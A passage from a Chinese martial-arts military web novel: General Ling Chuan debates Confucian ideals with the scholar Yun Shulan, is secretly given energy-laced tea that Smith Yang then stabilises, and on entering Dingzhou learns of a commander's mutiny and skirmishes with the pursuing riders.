凌川目光沉静地落在那九个古意盎然的篆字之上,仿佛能通过那笔划间感受到一段沉寂的历史,与无数读书人的信仰。 片刻后,他缓缓抬起头,迎上云书阑灼灼的目光,声音平静地说道: “先生,这九个字,被世代读书人奉为圭臬,视为终南捷径。但恕晚辈直言,或许……我们都将其顺序与真谛读错了,甚至本末倒置了!” 云书阑花白的眉毛微微一挑,眼中闪过一丝惊异,但并未打断,只是沉吟道:“哦?愿闻其详!”他一生都在思索这九个字,从未听过如此论断。 “修身、齐家、治国、平天下!”凌川重复了一遍这九个字,语气却陡然一转,“此乃天下太平时,对士人君子提出的道德期许与理想秩序,是结果,而非在乱世危局中强求的途径!更是自上而下的期许,而非自下而上的根基!” 他端起茶碗,感受着那温热的瓷壁。 “试问,若天下饥馑,路有冻死骨;若律法不公,豪强横行;若外敌环伺,国将不国……纵有万千寒士,悬梁刺股,将自身修得如圣人般无暇,将家族治理得井井有条,于这倾覆之大势,又有何益?皮之不存,毛将焉附?” 云书阑闻言,捻须的手指微微一顿,眼中闪过一丝恍惚,仿佛被带回了锁龙桥畔那个绝望的夜晚。 他缓缓道:“然则,依将军之见,当如何?莫非圣人之训有误?”他内心震动,隐约感到对方将触及一个他挣扎半生却未能想透的核心。 凌川的目光变得锐利起来,仿佛穿透了竹简,直视那浩荡的历史长河。 “故而,晚辈以为,欲求真正的‘天下平’,其根基,恰恰不在于对个人道德的苛求,而在于构建一个能让万民得以修身、得以齐家的世道!而这个世道,需要的是一个强大、清明、能护佑万民的国!” 云书阑注意到,凌川说的是国,而非帝国。 “这个国,需要法度严明,吏治清明,仓廪充实!需要让耕者有其田,织者有其杼,商者畅其流,学者安其心!需要让天下人,无论贫富贵贱,皆能看到凭勤勉能得温饱,凭才学能获进取,凭律法能护周全!” 云书阑不由自主地向前倾身,追问道:“即便如此,内政修明足矣?将军适才提及外患,又当如何?”他感到自己心中的某个框架正在松动,一种更宏大、更现实的图景正在眼前展开。 “先生问到了关键!”凌川的声音陡然提升,带着一种铁血般的坚定,“一个真正强大的国,岂能只知内修文德而不知外攘强敌?纵观古今,未有怯懦之国能享长久太平者!” “对外征伐,非为穷兵黩武,实为,以战止战,以武止戈!为万千黎庶打出太平,打出尊严,打出一个能让子孙后代安心‘修身齐家’的朗朗乾坤!”他的话语中仿佛带着金戈铁马之声: “这更是铸就民族之魂的熔炉,面对强敌,唯有敢于亮出锋芒,战而胜之,方能凝聚天下民心,一扫百年颓靡苟安之气,让我民族脊梁挺立于天地之间!让四方虎狼不敢再窥视中原,让每一个百姓都能以身为周人而自豪!” “唯有在这样一个内政修明、外御强侮,大体安稳、相对公平的国之下,修身方有实际意义,齐家方能真正实现。否则,一切不过是无根之木,无源之水,是空中楼阁,是镜花水月!” 凌川的声音不高,却字字千钧,敲在云书阑的心头。 “所以,这九个字的真正顺序,或许应是,欲平天下,必先治国;欲治国有效,必先内修政事,外慑强敌,为万民创造一个能安心修身、乐业齐家的根基!这非是颠倒圣人之言,而是洞悉了国与民、内与外、大势与个人之间,那千丝万缕、互为依存的关联!” “若天下是水,则万民便是托起一切舟船的浩瀚之水。水势湍急浑浊,倾覆一切,则任何精致的舟楫、任何高超的驾船技巧都毫无意义。唯有疏浚河道、稳固堤坝、引导流向,令水势平稳而沛然,舟船方能各行其道,扬帆远航。” “圣人教诲君子如水之德,是期望君子能效水之利万物而不争的品性,但若这水本身已化为怒海狂涛,首要之务,难道是去责备水中每一朵浪花不够柔顺吗?不,是去治理那令水狂暴的根源!” 说到这里,凌川停顿了一下,看着云书阑眼中翻腾的震惊与深思,缓缓道: “因此,晚辈以为,平天下的起点,从来不在书斋之内个人的克己复礼,而在于庙堂之上,能否以霹雳手段、菩萨心肠,内修德政,外慑不臣,去构建一个清明的、强大的、能让亿万黎民百姓都能看到希望、得以喘息和发展的——国!” 凌川一番话毕,酒肆内一片寂静,唯有炉火上茶壶发出轻微的沸腾声。 云书阑怔在原地,手中捻着的胡须早已忘了动作,他那双看透世情沧桑的眼眸中,此刻充满了前所未有的震撼,仿佛在无尽黑暗中看到一抹亮光,虽然遥远,却是那般的刺眼。 他一生都在这九个字里求索、挣扎、愤懑、超脱,却从未有人告诉他,这九个字或许并非自上而下的道德枷锁,而是一幅自下而上、关乎国本民生的宏伟蓝图。 第一卷 第356章 今日得闻,如开天眼! 凌川将外慑强敌、铸魂塑骨纳入治国的范畴,更是让他有一种茅塞顿开之感。 恍惚间,他感觉自己又回到了三十年前在神都锁龙桥上枯坐的场景,仿佛置身于一片黑暗,只有遥远的天边有一道光在指引着自己前行。 许久,他才缓缓吐出一口浊气,声音带着一丝不易察觉的颤抖,喃喃自语:“水能载舟,亦能覆舟,治水方能驭舟,治国方能安民,民安方有真修身,真齐家,天下方得太平,而强国,需内外兼修,原来这才是九字箴言的真谛!” 他猛地抬起头,目光如电,直视凌川,那目光中已不仅仅是欣赏,更带上了几分敬重:“将军之见,洞彻古今,振聋发聩!老夫……受教了!” 这一刻,这位名动天下的岐山书生,仿佛在凌川身上,看到了另一种践行圣贤之道、平定天下的可能,一种远比个人道德修炼更为宏大、更为根本、也更为艰难的道路。 他沉默片刻,再次开口道:“听君一席话,胜读万卷书。只是老夫仍有一惑,不知当问不当问!” 凌川放下茶碗,示意道:“先生请问!” “将军有如此见识与魄力,胸怀经天纬地之策,手握雷霆万钧之力,老夫敢问将军,你毕生所追求的,究竟是什么?是封侯拜相,青史留名?还是……另有所求?” 凌川闻言,神色肃穆起来,眼眸中似有千江奔腾,他沉默了片刻,似乎在斟酌词语,又仿佛在叩问自己的内心。 随后,他抬眼看着云书阑,目光清澈而坚定,一字一句,声音不高,却如同洪钟大吕,清晰地回荡在小小的酒肆之中: “为天地立心!” “为生民立命!” “为往圣继绝学!” “为万世——开太平!” 四句话,一句一顿,掷地有声,每一个字都像一记重锤,敲在云书阑的心坎上。 云书阑猛地僵在原地,瞳孔骤然收缩。 他下意识地重复着这四句话,嘴唇微微颤动:“为天地……立心?为生民……立命?为往圣……继绝学?为万世……开太平?” 这四句话,他从未听过,绝非出自任何他所知的圣贤典籍。 然而,这简简单单的二十余字,却仿佛蕴含着无穷的力量与至高的境界,每一个短句都像是一道闪电,劈开他固有的认知,照亮了一片他从未想象过的精神苍穹! 别说是他,就算是苍蝇、沈珏等一众亲兵,哪怕不明其中深意,在听到这四句话之后,也感觉体内热血沸腾。 “为天地立心……”云书阑喃喃自语,眼中充满了震撼与迷茫,“天地本无心,以生物为心……立心?立何等心?是仁德?是秩序?还是……规则?”他感到一种宏大到令人战栗的使命感扑面而来,这已远超寻常的建功立业。 “为生民立命……”他的声音带上了沙哑,目光如烈火焚烧,“非为一姓一朝之命,非为士大夫之命,而是为天下生灵立命!使其安居乐业,使其各得其所,使其命运不再如草芥飘萍……” 这与凌川方才所论述的构建让万民得以修身齐家的世道何其契合,却又升华到了前所未有的高度! “为往圣继绝学……”他猛地抬头看向凌川,目光灼灼仿佛要将他看穿,“继往圣之绝学,非是寻章摘句,皓首穷经,而是……承其精神,启其新篇,发前人所未发?正如将军方才重新诠释那九字真言一般?”一种文明传承的厚重感压得他几乎喘不过气。 “为万世……开太平……”念到最后一句,云书阑的声音已然微不可闻,只剩下无尽的敬畏与感慨。开一时之太平已为难能,开万世之太平?这是何等气魄?何等宏愿?几乎近乎于道! 他一生追求超脱,看透名利,却从未有人将志向擘画得如此浩瀚磅礴,直指天地本源与文明永续! 巨大的震撼如同海啸般冲击着云书阑的心神,让他一时之间竟失去了所有言语。 他只是死死地盯着凌川,仿佛要重新审视这个年轻人的灵魂深处。 这绝非一个武将或政客的野心,这分明是……圣贤之志!是超越了时代、超越了个人、甚至超越了王朝更替的终极追求! 许久,许久。 云书阑才仿佛从一场大梦中惊醒,他长长地、深深地吸了一口气,又缓缓吐出,仿佛要将胸中那翻江倒海般的情绪尽数压下。 他的眼神复杂到了极点,有震惊,有恍然,有钦佩,更有一种难以言喻的激动。 他整理了一下衣袍,对着凌川,竟是无比郑重地,拱手,弯腰,行了一个极为庄重的揖礼。 “将军之志……”他的声音依旧带着一丝颤抖,却无比清晰,“震古烁今,老夫……闻所未闻,想所未想!今日得闻,如开天眼!” 他直起身,目光灼灼:“这四句话,字字千钧,足以……照耀千古!” “前辈万万不可!”凌川连忙侧身避让,伸手托住云书阑施礼的手臂,“晚辈一时狂言,怎当得起先生如此大礼!” 二人重新落座,云书阑目光扫过逶迤的车队,神色渐凝:“将军此行波谲云诡,朝堂、边疆、江湖都因你而动,暗中杀机四伏,可千万要小心啊!” 凌川抱拳郑重道:“谢先生提醒!晚辈深知其中凶险,但正因如此,晚辈才非去不可!”他目光坚毅,字字铿锵,“正所谓,虽千万人吾往矣!” 云书阑眼中钦佩之色更浓:“老夫一介布衣,身无长物,唯以这碗粗茶,为将军壮行!”言罢,他执起茶壶。 壶身微倾的刹那,云书阑的小指与无名指悄然伸直,两道若有若无的气流自指尖流转而出。 一道凌厉如刀,赫然是之前屠夫的杀猪刀释放出的犀利刀芒;另一道温润如水,恰似月华浸染的清泉。两股气息纠缠着没入茶汤,竟未激起半分涟漪。 “请!”云书阑将茶碗推至凌川面前,神色如常。 “多谢先生!”凌川双手捧碗,一饮而尽,并未察觉异样。 云书阑举碗相应,眼底却掠过一丝极难察觉的复杂神色,有期待,有决然,更有一份沉甸甸的托付。 第一卷 第357章 那碗茶,有问题! “时辰不早,晚辈该起程了!”凌川起身抱拳。 云书阑还礼,目送他翻身上马。 当车队中那辆不起眼的青篷马车辘辘经过时,云书阑的目光陡然聚拢,看向一辆马车上那个倚柱假寐的青衫老者。 一直闭目养神的杨铁匠倏然睁眼,两道冷电般的目光迎了上来,四目相对,无声的交锋在空气中激荡。 片刻,云书阑缓缓拱手,姿态郑重,车中老者眼皮微垂,复又阖上,一切尽在不言中。 车队渐行渐远,扬起淡淡烟尘。 云书阑却仍伫立原地,忽的并指如剑,对着桌上那卷摊开的竹凌空挥洒。 嗤嗤轻响中,竹屑纷飞,空白处一个个深镌的文字渐次浮现,正是那石破天惊的四句话,不过,他将其命名为《乾坤四训》: 为天地立心! 为生民立命! 为往圣继绝学! 为万世——开太平! 最后一笔落下,他拂袖扫净竹屑,将竹简缓缓卷起,那动作庄重到近乎虔诚。 随后,他从干瘪的钱袋中排出十余枚磨得发亮的铜钱,在桌上一字摆开。 仰首长笑三声,袍袖翻飞间,人已飘然远去,唯余苍劲的笑声在旷野中回荡,经久不息。 路上,凌川依旧骑马前行。 起初只是隐约觉得小腹处有些异样,仿佛有两股细微的气流在悄然游动。 一股锐利如出鞘的刀锋,带着隐隐的寒意;另一股则温润如暖玉,透着温和的气息。 这两股气流初时微弱,尚能相安无事,但随着时间的推移,竟渐渐活跃起来,彼此试探、纠缠,甚至开始互相冲撞。 凌川下意识地伸手按向腹部,触手却并无任何异常,但那内在的翻搅之感却真实无比。 天色渐晚,队伍终于抵达灵远县。 洛青云办事利落,已提前包下了县城最大的鸿运客栈,客栈本身不足以容纳全部一千人马,但后院极为宽敞,另有几间平日存放货物的大仓库,打扫清理后打上地铺,足以让军士们落脚休憩。 凌川刚下马,苏璃便发现了他的不对劲,连忙走上来担忧地问道:“相公,你可是身体不舒服?” 凌川勉力笑了笑,不想让她过分担心,但腹中愈发激烈的绞痛让他难以维持常态,只得低声道:“无妨,只是不知为何,约莫一个时辰前便开始觉得肚子痛!” 可苏璃还是借着客栈门口悬挂的灯笼光芒,清楚地看到凌川脸色苍白,额角渗着细密的冷汗。 回到房中,那不适感骤然加剧。 两股气流仿佛彻底失去了束缚,在他丹田气海内猛烈冲撞,凌川再也支撑不住,蜷缩在椅背上,双手死死按住腹部,牙关紧咬,冷汗早已浸湿内衫。 苏璃心急如焚,连忙对门口的苍蝇道:“快!快去城中请郎中!” “是,夫人!”苍蝇领命,转身欲走。 “不必了!”杨铁匠佝偻的身影悄无声息地出现,腰间挂着那只从不离身的酒壶:“他的情况,药石不可医,让我来吧!” 苏璃与苍蝇皆知杨铁匠乃是高人,立刻让开房门。 杨铁匠步入屋内,反手阖上门扉,对苍蝇沉声道:“守在外面,无论发生什么,都不要打扰!” 屋内,油灯跳动。 凌川已痛得唇色发紫,浑身冷汗淋漓,杨铁匠伸手搭上他的腕脉,神色陡然凝重,沉声道:“赌这么大,就不怕失手吗?”语气虽带责备,眼底却掠过一丝极淡的期待。 “还能动就盘腿坐好!”杨铁匠拍了拍凌川颤抖的肩膀。 凌川强忍剧痛,依言挣扎着挪到地面,艰难盘腿,声音嘶哑:“是那碗茶…有问题?” 杨铁匠冷哼:“现在才反应过来?若他真有歹意,你早死百次了!” 凌川忍着痛,问道:“你的意思是,他不想害我?” “虽是出于好意,但那衡水屠夫的杀气与他的浩然真气岂是儿戏?稍有不慎,便是万劫不复!若不是看你小子还算顺眼,老夫才不接这烫手山芋!”杨铁匠嘟囔道。 凌川还想再问,但小腹中那两股力量的争斗已化为翻江倒海般的冲击。 他不知道的是,此前在路边酒肆,屠夫那满含杀意的一刀被云书阑轻松化解之后,一直禁锢于茶水之中,随后云书阑将茶水饮进腹中。 后来,再给凌川倒茶的时候,又将那道杀气与自己凝练的一道真气同时注入茶水之中,供凌川喝下。 起初云书阑的浩然真气尚能压制,但随着离体渐久,后力不继,而那杀气却愈显锋芒,两者竟成僵持之势,这才引发剧痛。 杨铁匠对一切都了如指掌,也知道云书阑的想法,也正是因此,当时才默许了云书阑的做法。 “小子,你接下来什么都不要做,只需要忍着痛就行,能不能成,那就看你的命了!”杨铁匠极少用如此认真的口吻说话。 说罢,杨铁匠在凌川对面盘膝坐下,只见他缓缓抬起右手,并指如剑。 霎时间,一股锐利无匹的气势自那干瘦身躯中迸发,屋内空气仿佛瞬间凝固,随后剧烈震荡。 油灯火焰被无形之力压得陡然矮下,随即噗的一声熄灭。 杨铁匠并拢的指尖,一抹凝练到极致、内敛深邃的剑芒渐渐汇聚。 那光芒宛如寒夜孤星,散发着斩断一切的极致锋芒,吞吐不定,发出细微却清晰的龙吟般的嗡鸣。 漆黑的客房被这抹剑光照亮,空气粘稠得如同液体,每一次呼吸都带着割裂般的刺痛。 门外的苍蝇和沈珏只觉得肌肤刺痛,如同被无数无形利刃抵住,惊骇之下连退数步。 突然,杨铁匠双眸精光一闪,低喝一声,并指疾点! 那缕凝练着他无上剑意与精纯修为的本命剑芒,如寒星坠地,精准无比地没入凌川丹田要穴! “唔!”凌川浑身剧震,如遭雷击。 他只觉一道凌厉之气,蛮横地冲入那早已混乱不堪的气海。 这一下,宛如沸油泼入冰水,原本僵持绞杀的杀气和真气被这第三股更加霸道、精纯的剑气悍然闯入,瞬间彻底沸腾暴走。 三股性质迥异却同样强大的力量,以凌川的丹田为战场,展开了惨烈的冲撞、吞噬与融合! 第一卷 第358章 金鳞巨蟒! 凌川只觉得丹田仿佛要被撑爆、撕裂、碾碎……痛苦超越了肉体极限,直抵灵魂深处。 他额角青筋暴起,眼球布满血丝,全身骨骼咯吱作响,口中满是咬破舌尖的血腥味,全靠一股不肯服输的狠劲硬撑。 杨铁匠面色肃穆,目光凌厉,并指的右手却稳如磐石,虚按在凌川丹田之处,指尖有无形剑意紧密相连。 那缕本命剑气在他精妙操控下,宛如灵性游龙。时而雷霆万钧,强行压制暴戾杀气;时而化绕指柔丝,小心引导温厚真气。 更多则是在两者间穿梭游走,如穿针引线一般艰难地调和这两股势不两立的力量,并将自身一丝极细微的本源剑气,缓缓刻印进去。 过程凶险万分,每一刹那都如履薄冰。 杨铁匠心神凝聚至极,对力量掌控要求精细入微,稍有差池,凌川气海便会被绞碎。 凌川承受的痛苦也随之达到顶峰,体内时而如坠冰窟,奇寒彻骨;时而又如置身火海,灼热炙烤;冰火交替,撕裂与膨胀并行,几乎要将他意志彻底摧毁。 豆大汗珠从杨铁匠额角滑落,但他剑指依旧稳定。 在他神乎其技的引导下,凌川气海内那场惊天风暴,正极其缓慢的、朝着一个微妙而脆弱的平衡点逐渐靠拢…… 门外,苏璃正来回踱步,满脸焦急。 苍蝇与沈珏二人同样是提心吊胆,自之前溢出那股凌厉气势消失之后,屋内很长一段时间都没有动静,只是偶尔能听到凌川低沉的嘶吼声。 苍蝇只感觉手心都开始冒汗,但却不敢发出半点声响。 对于凌川来说,每时每刻都是无尽煎熬,在这种煎熬之下,仿佛时间都静止了一般。 也不知过了多久,就在凌川即将坚持不住,整个人的心理防线快要崩溃的时候,气海之中那三股力量终于逐渐由暴躁变得安静下来。 随着痛感缓缓减退,紧绷的神经逐渐松弛,他再也坚持不住,昏了过去。 杨铁匠见状,也顿时长舒了一口气,虽然很是惊险,但总算是没有出岔子。 他托着疲惫的身体打开房门,苏璃第一时间迎了上来,问道:“前辈,我相公他……” 杨铁匠解下自己的酒壶,往嘴里灌了一口狼血,这才缓缓说道:“命保住了,不过还没有完全脱离危险,先让他睡会吧!” 听到这话,几人悬在胸口的石头终于落下。 “给我装一壶酒送来!”杨铁匠将酒葫芦丢给苍蝇,随即径直离开。 屋内,沈珏帮着将凌川扶到床上便离开了,苏璃则是让翠花打来热水,细心地为他擦汗。 为了避免凌川的情况走漏风声,苍蝇等人立马对所有士兵下达了封口令,说是将军几日前在雾松林感染风寒,并无大碍。 不过,当晚洛青云和苍蝇都暗中加派了人手巡值,甚至还多设了几处暗哨,好在一夜相安无事。 一直到第二天清早,凌川依旧处于昏迷之中,没有醒来的迹象。 好在他呼气平稳,面色正常,倒也让苏璃等人放心了不少。 吃过早饭,队伍照常起程,凌川被背到马车之中,不过,苏璃却没有在车内陪同,而是独自骑马走在马车前面。 马车之中,除了凌川,还有杨铁匠。 凌川盘腿坐在前方,杨铁匠盘坐于他身后,一只手始终搭在凌川的肩膀上,缕缕真气如溪流一般涌入凌川的身体之中。 昨夜,他只是用自己的一缕剑气压住了衡水屠夫的那一缕杀气,要不然,仅凭老书生云书阑那一道浩然真气,是断然压不住屠夫的狂暴杀气的。 如今,那一缕杀气已经被压制在凌川的身体之中,但这并不意味着危险就真的解除,那缕凌冽杀气如今只是陷入沉睡,一旦苏醒,将会更为狂暴。 杨铁匠现在要做的是引导凌川自身的那一缕先天真气,去炼化那三道真气,只有彻底炼化,才算是彻底解除危机。 当然,一旦真的将其炼化,这三道真气将为他所用,加上他自己的那一缕先天真气,凌川将会一跃成为四重境高手。 这也是云书阑此举的初衷。 此时,凌川的意识处在一片混沌之中,根本感觉不到自己身体的存在,宛如孤魂野鬼一般,在无尽混沌中游荡。 忽然,混沌世界中,一道声音响起,宛如黄钟大吕,言简意赅。 “摒除杂念,先天之气自然生发!” 杨铁匠声音不大,却铿锵剑鸣,在车厢中响起:“定若不散,身心凝静;静至定俱,身存年永;常住道源,自然成圣。” 忽然,混沌上方一道金光洒下,将混沌照亮,凌川抬头看去,那赫然是一把璀璨神剑悬浮在空中透着孤傲之气,周身散发出的剑气犀利而霸道! 而另一边,一幅书卷缓缓展开,一个个字符自画卷上跳跃而出,每一个字符都耀眼夺目,仿佛具有生命和意识。 忽然,一道冰冷杀机席卷开来,只见一把血迹斑斑的杀猪刀带着毁天灭地之势凌空斩下。 顷刻间,凌川的意识被当场禁锢在原地,那道可毁灭一切的杀机瞬间将其冻结。 就在那杀猪刀即将彻底落下的时候,一抹金光闪现,只见正上方混沌破开,一头金鳞大蟒探出硕大的脑袋。 那金鳞大蟒虽显得有些稚嫩,却凶猛异常,只见它身躯扭动,张开血盆大口,直接将那把释放出无尽杀机的杀猪刀一口吞了下去。 霎时间,金鳞大蟒周身弥漫出滚滚血气,那杀猪刀之上的无尽杀机仿佛也融入其身体之中,翻滚弥漫。 很快,那头金鳞大蟒变得狂躁,凶戾,眼神中满是嗜血的寒芒。 就在这时,那幅卷轴之中,一个个字符跳跃而出,飘向那金鳞大蟒,在接触到其身躯的刹那化为流光,无声无息地没入其鳞片之中。 随着一个个字符没入其鳞片之中,每一块鳞片都多了几分光泽,而且,若是细看的话会发现,那鳞片之上有一道道晦涩符文,并不像是刻上去的,仿佛就是与生俱来。 直到最后一个字符飞入其眉心,金鳞巨蟒浑身鳞片也都尽数闪耀着符文光泽。 随着那空无一字的画卷缓缓散去,金鳞巨蟒眼神之中的凶狠、暴戾之气也逐渐消散,恢复了之前的清鸣,此外还多了几分正气。 第一卷 第359章 踏足定州! 最后,它缓缓扭动身躯,来到那把孤傲而霸道的无双神剑跟前,它没有与之对抗,而是垂首三点头,仿佛是在行礼,又似乎是在道谢。 “锵……” 无双神剑发出一声轻鸣,气势陡然暴涨,随即化为一道流光,直接刺向那金鳞巨蟒的眉心。 没有想象中的鲜血飞溅,金鳞巨蟒也没有反抗,只见那道剑芒进入其身体后,竟然化为它的脊骨,随着剑气逐渐消散,那条璀璨脊骨也逐渐敛去光芒。 “嗷……” 金鳞大蟒仰头大吼,竟然发出一声龙吟,震得混沌世界剧烈摇晃。 …… 马车中,杨铁匠脸色一片苍白,双眼更是布满了血丝,只见他缓缓收回搭在凌川身上的手掌,本就花白的头发,此时更是雪白一片,整个人像是瞬间苍老了十岁。 他长叹了一口气,看着凌川说道:“本以为,你小子会一跃跨入四重境,没想到竟是这般结果!” 屠夫的杀气,云书阑的浩然正气,皆被凌川的先天真气给吞噬炼化,成为其自身的一部分,这让杨铁匠既震惊又激动,所以,他才主动成全凌川,将自己的本命剑气融入其先天真气之中。 凌川依然还在沉睡之中,虽然已经彻底脱离了危险,但他短时间内不可能醒来,因为,此时的他刚生出先天真气,正处于适应的过程中。 严格来说,凌川已经踏上武道之路,虽然只有一道真气,但却不能以常理度之,就算是杨铁匠,也不曾见过这种情况。 往后三日,凌川依旧如同沉睡般昏迷不醒。 好在他的呼吸匀长平稳,面色也褪去了苍白,显露出红润,仿佛只是陷入了一场深沉的梦境,随时都可能睁开双眼。 然而,自那日之后杨铁匠的状态截然相反,他大多数时间都蜷缩在马车角落,靠着厢壁假寐,面容憔悴,仿佛耗尽了心力,头上白发更多了,显得异常萎靡。 第四日傍晚,队伍终于离开了幽州地界,踏入了古老而雄浑的定州境内。 定州,这座素有‘九州咽喉地,神京扼要区’之称的千年古城,在中原民族的历史长卷中,始终扮演着举足轻重的角色。 它北扼幽燕,南控中原,西依太行,东望齐鲁,历来是兵家必争的龙争虎斗之地,每一次王朝更迭的烽火,几乎都会将这片土地卷入漩涡的中心。 一入定州,便能明显感觉到与北疆截然不同的气息。 不仅气温显著升高,空气中弥漫着更为湿润的泥土和草木芬芳,官道两旁,不再是北地常见的耐寒松柏与苍凉旷野,取而代之的是郁郁葱葱的阔叶林木与连绵的农田。 村落城镇也变得密集起来,炊烟袅袅,人声渐稠,再也不见北疆那般动辄百里的无人荒原。 接连数日的平静,让队伍中许多一路紧绷着神经的士兵,不知不觉间放松了些许。 然而,洛青云、苍蝇等将领的心中,那根弦却始终绷得紧紧的,他们比任何人都清楚,越是远离北疆,就越危险,每一步都可能踏入未知的陷阱。 进入定州后,苏璃便几乎寸步不离地守在马车之中,悉心照料着依旧沉睡的凌川。不时为他擦拭脸颊,但大多是静静凝视着他平静的睡颜,眼眸深处藏着化不开的忧虑与期盼。 此刻,日头渐高,队伍沿着宽阔的官道稳步前行,距离那座雄踞一方的定州城已不足百里,若是加快些脚程,或许能在日落时分望见那巍峨的城郭。 然而,就在这片看似安宁的氛围中,一道突兀而急促的马蹄声,如同尖刺般划破了官道的平静,由远及近,迅速传来! 不多时,一匹快马出现在官道前方,马背上,一名身着制式校尉铠甲的军官伏低着身体,姿态狼狈不堪。完全不像是正常的赶路,更像是亡命奔逃! 最触目惊心的是他左侧肩膀,那里的甲叶破损,一片暗红浸透了征衣,鲜血仍在不断渗出,将他半身染得猩红。 他脸色苍白,眼神中充满了惊惶与急切,不住地回头张望,仿佛身后有恶鬼追赶。 “前方何人?速速下马!”洛青云当即一夹马腹驱马上前,手中长枪微微抬起,声音中带着肃杀之气。 那名校尉闻声,仿佛抓到了一根救命稻草,急忙勒住战马。战马人立而起,发出一声疲惫的嘶鸣。 他喘息着,惊慌问道:“我乃定州军校尉谢允!敢问前方……前方可是幽州军的弟兄?” “此乃北疆凌川将军的队伍,正欲前往神都!”洛青云目光锐利地扫过他流血的肩膀,心中警惕未消,开口问道:“谢校尉,你这是……遇到什么麻烦了?” “凌将军?可是那位在北疆力挫胡羯的镇北将军?”听到凌川这个名字,谢允苍白的神色中顿时迸发出一抹难以置信的激动与希望之光。 “正是!”洛青云点头回答道。 得到肯定的答复,谢允愈发激动,他几乎是从马背上滚落下来,踉跄两步,竟不顾伤势,单膝重重跪倒在尘埃之中,抱拳仰头,用尽力气嘶声大喊道: “凌将军!定州有难,求您出手相助,救救定州满城百姓!” 这话如同平地惊雷,让周围听到的将士无不色变。洛青云眉头瞬间紧锁,心中疑窦丛生,正自犹豫之时苍蝇已拍马上前。 他目光沉静地审视着跪地的谢允,开口道:“凌将军正在车驾中休息,我是将军的亲兵校尉。谢校尉,有何变故,你起来慢慢说清楚!” 那名校尉谢允在苍蝇的示意下艰难起身,因牵动伤口而疼得嘴角一咧,但依旧急迫地说道:“定州军主将许知白突然发动兵变,已率心腹控制了定州城!” “起兵造反?” 这四个字仿佛带着血腥的魔力,让所有听闻此言的人心头猛地一沉,因为,这个词在大周疆域内,已经太多年未曾真正响起过了。 虽说如今的大周王朝早已腐朽深入骨髓,积重难返,但三百年王朝的余威犹在。 抛开边疆异族的威胁不谈,疆域之内,最大的祸患也多是啸聚山林、打家劫舍的匪患。 第一卷 第360章 定州主将谋反! 近年来,随着朝廷威望日衰,对地方控制力减弱,这些匪患确有日益猖獗之势,各州县官兵虽屡次清剿,却往往收效甚微,甚至颇有越剿越多的迹象。 然而,像这般一地军事主将公然拉起旗号、武力控制州府、起兵造反的事情,却是多年未有。 这并非意味着那些手握兵权的地方武将都对朝廷忠心不二,而是无人愿意,也无人敢去做那第一只出头鸟。 加之,通天鉴和廷尉府这两大机构依然还在,对于文武百官而言,就是两把看不见摸不着,却实时悬在头顶的两把利剑。 或许谋逆之念方才滋生,廷尉府的缇骑便已悄然叩门索命。 洛青云与苍蝇迅速交换了一个眼神,皆从对方的目光中看到了巨大的惊愕与深深的疑虑。此事太过突然,也太过骇人听闻。 片刻后,洛青云压下心中的震动,用审慎的口吻问道:“谢校尉,非是我等不信你。只是,我等随行队伍满打满算不过一千人马!” 洛青云指了指身后的队伍,说道:“据我所知,定州军足有三万之众,即便分散驻守各县,定州城作为州治所在,常驻守军怎么说也应有一万以上吧?你让我们这一千长途跋涉而来的疲惫之师,去攻打一座足有万军据守的雄城,这无疑是天方夜谭!” “两位听我说!”谢允急得额头青筋暴起,连忙打断道,“情况并非如此!那许知白虽是主将,但定州军中将领大多都是被他用卑鄙手段胁迫,并非真心要跟着他造反!” 他艰难地吞了口唾沫,忍着伤痛继续解释:“我查到,许知白起事之前,就已暗中控制了许多军中将领的家眷!现在这些人就被他关押在定州城外西边五十里处的一座庄园,我本想带着手下的弟兄们突袭庄园,救出人质,不曾想反中了他们的埋伏!” 谢允的脸上浮现出悲愤与痛苦之色:“我带去的几十名兄弟都战死了!我是拼死才杀出重围,这一路都被他们的人追杀不休,我只能前去幽州求援!” 洛青云捕捉到关键信息,立刻追问:“追兵有多少人?现在何处?” “是一支百人左右的轻骑小队,装备精良,应是许知白的嫡系心腹!”谢允眼神中带着惊魂未定的恐惧,回头望了一眼来路,喘息着回答,“他们追得很紧,估计很快就会追到这里了!” 苍蝇闻言,不再犹豫,沉声道:“你受伤不轻,先随我来处理伤口!此事交予我们即可!” 他示意两名亲兵上前扶住几乎站立不稳的谢允,将其带往后方的车队,并立刻唤来随军医官为其紧急处理伤口。 几乎就在同时,官道前方,密集的马蹄声隆隆传来,卷起滚滚烟尘! 洛青云眼中寒光一闪,猛地抬起手中马槊,声音冷冽如冰,响彻整个队伍:“列阵——迎敌!” “唰!唰!唰!” 令下如山倒!队伍前方的五百精骑闻令而动,迅速变换阵型,动作整齐划一。 骑兵们纷纷取下背负的破甲弓,搭箭上弦,弓弦半开,发出一片令人牙酸的吱呀声,冰冷的箭镞在阳光下闪烁着死亡的光芒。 后方,孟钊与沈珏二人第一时间策马护持在凌川所在的马车两侧,战刀出鞘半寸,目光如鹰隼般锐利,警惕地扫视着四周任何可能的威胁。 苍蝇也迅速指挥其余亲兵收缩防御,将车队核心护卫得水泄不通。整个队伍在极短的时间内便进入战斗状态,肃杀之气弥漫开来,方才的宁静被一扫而空。 尽管谢允声称对方只是一支百人小队,但在这完全陌生的地界,面对突如其来的叛军,谨慎是第一原则! 很快,那一百骑便迅速逼近,卷起的尘土几乎要将队伍淹没,领军之人身形异常魁梧,满脸横肉,手中紧握一杆镔铁长枪,眼神凶狠。 “前方何人,速速退开!”他抬起长枪直指洛青云的队伍,厉声喝道:“我等奉命缉拿罪将谢允,尔等速速退开,否则格杀勿论!” 听闻此言,洛青云嘴角勾起一抹冰冷的笑意。自死字营开始,到如今的云州军,还从未有人敢这么跟他们说话。 “敢问,谢允所犯何罪?”洛青云声音平静的询问道。 一方面是之前只听闻谢允的片面之词,不足以为证,再则就算要打,也尽量做到先礼后兵。 “你算个什么东西,也配打听我定州军的事情!”对面将领手中长枪纹丝不动,态度极其蛮横,“你们若不想惹事,就尽快把人给老子交出来!” 听到这话,洛青云脸上的冷笑更甚,他缓缓抬起马槊,槊尖遥指对方:“我不占你便宜,只出动一百人!” “若是半炷香之后,你身后还有一人活着,我亲手把脑袋割下来给你!”他的声音陡然转厉,字字如铁。 那名将领闻言,先是一愣,随即放声大笑:“幽州军什么时候这么有种了?” 然而,他的笑声还未落下…… “杀!” 一声暴喝自洛青云口中炸响! 顷刻间,弓弦震鸣之声不绝于耳,一支支铁箭离弦而出,带着死亡的呼啸,直奔对方阵营而去! 双方距离在一百三十余步,这对于普通的弓箭或许有些吃力,但对于云州军标配的破甲弓而言,却是轻而易举。 